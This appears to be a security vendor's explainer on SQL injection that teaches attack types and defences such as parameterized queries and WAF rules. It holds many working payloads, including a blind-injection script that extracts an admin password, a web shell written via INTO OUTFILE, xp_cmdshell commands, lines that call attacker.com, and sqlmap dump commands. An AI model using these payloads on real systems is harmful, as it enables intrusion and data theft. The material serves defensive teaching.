Documentation

# SQL Injection Attacks

SQL Injection Attack Illustration
SQL Injection Attack Illustration

A code injection attack where malicious SQL statements are inserted into application input fields, allowing attackers to manipulate database queries, steal data, bypass authentication, or execute administrative operations on the database.

CRITICAL SEVERITY OWASP TOP 10 #3 DATABASE ATTACK


# What is SQL Injection?

In Simple Terms:

SQL Injection is like a burglar who tricks your house's security system by speaking its own language. Instead of breaking down the door, the attacker speaks the "database language" (SQL) to trick the website into giving them access to information they shouldn't see.

Think of it this way: Imagine a bank teller who takes your request written on a piece of paper. Normally, you write "Show me my account balance." But what if you could write "Show me my account balance AND also show me everyone else's account balance"? That's essentially what SQL Injection does to websites.


# Understanding SQL Injection (Real-World Analogy)

# The Coffee Shop Analogy

You walk into a coffee shop and tell the barista: "Give me a coffee for John."

The barista checks the list and gives you John's coffee. Simple, right?

Now imagine you say: "Give me a coffee for John OR give me all the coffees."

If the barista blindly follows your instruction, you'd get everyone's coffee!

That's exactly how SQL Injection works on websites. The database follows instructions literally without questioning if they're malicious.


# How It Works: The Technical Process

# Normal Login Flow

Username: john
Password: secret123
SELECT * FROM users WHERE username = 'john' AND password = 'secret123'

If match found → Login successful If no match → Login failed

# Hacker's Attack Flow

Username: admin' --
Password: anything
SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'

The -- symbol means "ignore everything after this" in SQL!

Database finds user 'admin' and never checks the password

Result: Hacker logs in as admin without knowing password!


# Types of SQL Injection Attacks

# 1. In-Band SQL Injection (Direct Attack)

MOST COMMON

# Error-Based SQL Injection

Attacker triggers database errors to extract information about the database structure.

Attack Example:

http://shop.com/product?id=5'

Error Response:

Error: You have an error in your SQL syntax near 'id=5''
  • Database type (MySQL, PostgreSQL, SQL Server)
  • Table names
  • Column names
  • Database structure
# SECURE: Hide error details
try:
    cursor.execute(query)
except Exception as e:
    logging.error(f"Database error: {str(e)}")
    return "An error occurred"  # Generic message

# Union-Based SQL Injection

DATA EXTRACTION

Combines malicious query with legitimate one using UNION operator.

Normal Query:

SELECT name, price FROM products WHERE id = 5

Attack Payload:

5' UNION SELECT username, password FROM users--

Result: Returns products AND user credentials!

' ORDER BY 1--  # Works
' ORDER BY 2--  # Works
' ORDER BY 3--  # Error → 2 columns
' UNION SELECT 'text', 123--
' UNION SELECT username, password FROM users--
[Vulnerable Python]
# DANGEROUS - Don't use!
username = request.GET['username']
query = f"SELECT * FROM users WHERE username = '{username}'"
cursor.execute(query)
[Vulnerable Node.js]
// DANGEROUS - Don't use!
const username = req.query.username;
const query = `SELECT * FROM users WHERE username = '${username}'`;
connection.query(query);
[Vulnerable PHP]
<?php
// DANGEROUS - Don't use!
$username = $_GET['username'];
$query = "SELECT * FROM users WHERE username = '$username'";
mysqli_query($conn, $query);
?>

# 2. Blind SQL Injection (The Detective Attack)

ADVANCED TECHNIQUE

# Boolean-Based Blind SQLi

Asks the database true/false questions and infers information from application behavior.

Testing if Admin Exists:

' AND (SELECT COUNT(*) FROM users WHERE username='admin') > 0--

If page loads normally: Admin exists If page errors: Admin doesn't exist

import requests

url = "http://example.com/product?id=1"
password = ""
chars = "abcdefghijklmnopqrstuvwxyz0123456789"

for position in range(1, 33):
    for char in chars:
        payload = f"' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),{position},1)='{char}'--"
        response = requests.get(url + payload)

        if "Product Name" in response.text:
            password += char
            print(f"Found: {char}")
            break

print(f"Admin password: {password}")

# Time-Based Blind SQLi

TIMING ATTACK

[MySQL]
' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a', SLEEP(5), 0)--
[PostgreSQL]
'; SELECT CASE WHEN (SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a') THEN pg_sleep(5) ELSE pg_sleep(0) END--
[SQL Server]
'; IF (SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a') WAITFOR DELAY '00:00:05'--
[Oracle]
' AND (SELECT CASE WHEN SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)='a' THEN DBMS_LOCK.SLEEP(5) ELSE NULL END FROM dual) IS NULL--

Logic: If response takes 5 seconds → condition is true → first character is 'a'

# 3. Out-of-Band SQL Injection

ADVANCED

'; EXEC xp_cmdshell('nslookup attacker.com')--
'; EXEC master..xp_dirtree '\\attacker.com\share'--
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote;]>'),'/l') FROM dual--

# Real-World Attack Scenarios

# Scenario 1: Authentication Bypass

CRITICAL

app.post('/login', (req, res) => {
    const username = req.body.username;
    const password = req.body.password;

    // VULNERABLE!
    const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;

    db.query(query, (err, results) => {
        if (results.length > 0) {
            res.send('Login successful');
        }
    });
});
Username: admin' OR '1'='1
Password: anything

Resulting Query:

SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything'

'1'='1' is always true → Authentication bypassed!

  • Attacker gains admin access
  • No password required
  • Complete account takeover

# Scenario 2: Data Extraction

DATA BREACH

def search_products(search_term):
    query = f"SELECT name, price, description FROM products WHERE name LIKE '%{search_term}%'"
    cursor.execute(query)
    return cursor.fetchall()
' UNION SELECT username, password, email FROM users--

Result: Returns product list + ALL usernames, passwords, and emails!

' UNION SELECT name, sql, NULL FROM sqlite_master WHERE type='table'--

Result: Reveals entire database structure

# Scenario 3: Data Modification

DATA MANIPULATION

String email = request.getParameter("email");
String userId = request.getParameter("userId");

String query = "UPDATE users SET email = '" + email + "' WHERE id = " + userId;
Statement stmt = connection.createStatement();
stmt.executeUpdate(query);
email: test@test.com', password='hacked123' WHERE username='admin'--
userId: 1

Resulting Query:

UPDATE users SET email = 'test@test.com', password='hacked123' WHERE username='admin'--' WHERE id = 1

Result: Admin password changed to 'hacked123'!

# Scenario 4: Remote Code Execution

SEVERE

' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--

Then access:

http://example.com/shell.php?cmd=whoami

Result: Remote code execution on server!


# Database-Specific Techniques

# MySQL / MariaDB

# Database version
' UNION SELECT @@version--

# Current user
' UNION SELECT user()--

# List databases
' UNION SELECT schema_name FROM information_schema.schemata--

# List tables
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database()--

# List columns
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT LOAD_FILE('/etc/passwd')--
' UNION SELECT 'shell code' INTO OUTFILE '/tmp/shell.php'--

# PostgreSQL

# Database version
' UNION SELECT version()--

# Current user
' UNION SELECT current_user--

# List tables
' UNION SELECT tablename FROM pg_tables WHERE schemaname='public'--
'; COPY (SELECT '') TO PROGRAM 'whoami'--

# Microsoft SQL Server

# Database version
' UNION SELECT @@version--

# List databases
' UNION SELECT name FROM master..sysdatabases--

# List tables
' UNION SELECT name FROM sysobjects WHERE xtype='U'--
'; EXEC xp_cmdshell 'whoami'--

# Oracle

# Database version
' UNION SELECT banner FROM v$version--

# List tables
' UNION SELECT table_name FROM all_tables--

# List columns
' UNION SELECT column_name FROM all_tab_columns WHERE table_name='USERS'--

# Prevention and Mitigation

# 1. Parameterized Queries (Prepared Statements)

MOST EFFECTIVE

[SQLite]
# SECURE
cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?",
               (username, password))
[MySQL (pymysql)]
# SECURE
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s",
               (username, password))
[PostgreSQL (psycopg2)]
# SECURE
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s",
               (username, password))
[SQLAlchemy ORM]
# SECURE
user = session.query(User).filter_by(username=username, password=password).first()
[MySQL]
// SECURE
const query = 'SELECT * FROM users WHERE username = ? AND password = ?';
connection.query(query, [username, password], (error, results) => {
    // Handle results
});
[PostgreSQL]
// SECURE
const query = 'SELECT * FROM users WHERE username = $1 AND password = $2';
client.query(query, [username, password], (err, res) => {
    // Handle results
});
[Sequelize ORM]
// SECURE
User.findOne({
    where: {
        username: username,
        password: password
    }
});
[PDO]
<?php
// SECURE
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username AND password = :password');
$stmt->execute(['username' => $username, 'password' => $password]);
$results = $stmt->fetchAll();
?>
[MySQLi]
<?php
// SECURE
$stmt = $mysqli->prepare('SELECT * FROM users WHERE username = ? AND password = ?');
$stmt->bind_param('ss', $username, $password);
$stmt->execute();
$result = $stmt->get_result();
?>
// SECURE
String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();
// SECURE
string query = "SELECT * FROM users WHERE username = @username AND password = @password";
SqlCommand cmd = new SqlCommand(query, connection);
cmd.Parameters.AddWithValue("@username", username);
cmd.Parameters.AddWithValue("@password", password);
SqlDataReader reader = cmd.ExecuteReader();

# 2. Input Validation and Sanitization

DEFENSE IN DEPTH

import re

def validate_username(username):
    """Only allow alphanumeric and underscore"""
    if not re.match(r'^[a-zA-Z0-9_]{3,20}$', username):
        raise ValueError("Invalid username format")
    return username

def validate_numeric_id(id_value):
    """Ensure it's a number"""
    try:
        return int(id_value)
    except ValueError:
        raise ValueError("ID must be numeric")

def validate_email(email):
    """Validate email format"""
    if not re.match(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$', email):
        raise ValueError("Invalid email format")
    return email
const mysql = require('mysql');
const connection = mysql.createConnection({...});

// Better than nothing, but prefer parameterized queries
const escaped_username = connection.escape(username);
const escaped_password = connection.escape(password);

# 3. Least Privilege Principle

ACCESS CONTROL

-- Create limited user for application
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strong_password_here';

-- Grant only necessary permissions
GRANT SELECT, INSERT, UPDATE ON app_database.users TO 'webapp'@'localhost';
GRANT SELECT ON app_database.products TO 'webapp'@'localhost';

-- Deny dangerous operations
REVOKE FILE ON *.* FROM 'webapp'@'localhost';
REVOKE EXECUTE ON *.* FROM 'webapp'@'localhost';
REVOKE DROP ON *.* FROM 'webapp'@'localhost';

# 4. Web Application Firewall (WAF)

REAL-TIME PROTECTION

SecRule ARGS "@detectSQLi" \
    "id:1001,\
    phase:2,\
    block,\
    log,\
    msg:'SQL Injection Attack Detected'"
waf_rules:
  - rule_id: "sql_injection_001"
    pattern: "(?i)(union|select|insert|update|delete|drop|exec|script)"
    action: "block"
    severity: "critical"
    log: true

# 5. Error Handling

IMPORTANT

try:
    cursor.execute(query)
except Exception as e:
    # DANGEROUS - Exposes database details
    return f"Database Error: {str(e)}"
import logging

try:
    cursor.execute(query)
except Exception as e:
    # Log internally for debugging
    logging.error(f"Database error: {str(e)}")
    # Show generic message to user
    return "An error occurred. Please try again later."

# Testing and Detection

# Automated Testing Tools

SECURITY TOOLS

Most popular automated SQL injection tool

# Basic URL scan
sqlmap -u "http://example.com/product?id=1"

# Scan with cookies
sqlmap -u "http://example.com/product?id=1" --cookie="session=abc123"

# POST request scan
sqlmap -u "http://example.com/login" --data="username=admin&password=test"

# Database enumeration
sqlmap -u "http://example.com/product?id=1" --dbs

# Extract tables
sqlmap -u "http://example.com/product?id=1" -D database_name --tables

# Dump specific table
sqlmap -u "http://example.com/product?id=1" -D database_name -T users --dump

Free web application security scanner

  • Automated scanning
  • Active and passive scanning modes
  • Spider functionality
  • Custom policies

Professional web security testing platform

  • Intruder for custom payloads
  • Scanner for automated detection
  • Repeater for manual testing
  • Extensions marketplace

# Manual Testing Checklist

  • Test all input fields with special characters: ' " ; -- /* */
  • Test numeric parameters with non-numeric values
  • Test for error messages revealing database information
  • Test UNION-based injection
  • Test Boolean-based blind injection
  • Test time-based blind injection
  • Test second-order injection (stored then executed)
  • Review all database interaction code
  • Check for dynamic query construction
  • Test authentication bypass payloads

# Real-World Case Studies

# Case Study 1: Heartland Payment Systems (2008)

130M RECORDS

SQL injection into payment processing system

  • 130 million credit card numbers
  • Cardholder names
  • Expiration dates
  • CVV codes
  • $140 million in fines and settlements
  • Loss of payment card industry compliance
  • Reputation damage
  • Stock price plummeted

Even major corporations with security budgets can fall victim to basic SQL injection if proper coding practices aren't followed.

# Case Study 2: TalkTalk (2015)

£77M DAMAGES

SQL injection on legacy systems

  • 157,000 customer records compromised
  • Names, addresses, dates of birth
  • Email addresses
  • Phone numbers
  • TalkTalk account information
  • £77 million in costs and lost business
  • £400,000 regulatory fine
  • Loss of 95,000 customers
  • CEO resigned

Old, unmaintained code can create vulnerabilities even when newer systems are secure. Regular security audits of ALL code are essential.

# Case Study 3: RockYou (2009)

32M PASSWORDS

SQL injection + passwords stored in plaintext

  • 32 million user passwords exposed
  • Passwords stored without encryption
  • Complete user database compromised
  • Social media account takeovers
  • Company reputation destroyed
  • Massive user trust loss
  • Regulatory investigations
  • Multiple lawsuits

# Security Checklist

# For Developers

DO

  • Use parameterized queries/prepared statements
  • Validate all user input with whitelists
  • Apply least privilege to database accounts
  • Hide error messages from users
  • Log suspicious activity
  • Use ORMs that auto-escape inputs
  • Regular code reviews
  • Security training

DON'T

  • Concatenate user input into SQL queries
  • Show database errors to users
  • Trust ANY user input
  • Use dynamic SQL unnecessarily
  • Grant excessive database privileges
  • Disable security features for convenience

# For Security Teams

  • Implement WAF with SQL injection rules
  • Regular penetration testing
  • Automated vulnerability scanning
  • Monitor database query logs
  • Alert on suspicious patterns
  • Incident response plan
  • Regular security audits
  • Keep all software updated

# For Users

TIPS

  • Use unique passwords for each site
  • Enable two-factor authentication
  • Monitor account activity
  • Change passwords after breaches
  • Use password managers
  • Be cautious with data sharing

# How Layerd AI Protects Against SQL Injection

Layerd AI Guardian Proxy provides comprehensive protection:

  • Real-time WAF: Blocks SQL injection attempts before they reach your database
  • AI-Powered Detection: Machine learning identifies new attack patterns
  • Automatic Patching: Virtual patching for known vulnerabilities
  • Query Analysis: Monitors database queries for suspicious patterns
  • Threat Intelligence: Updated attack signatures from global threat feeds
  • Compliance Reporting: Detailed logs for regulatory requirements

Protect your applications with Layerd AI's intelligent SQL injection defense.


# Additional Resources


Last Updated: November 2025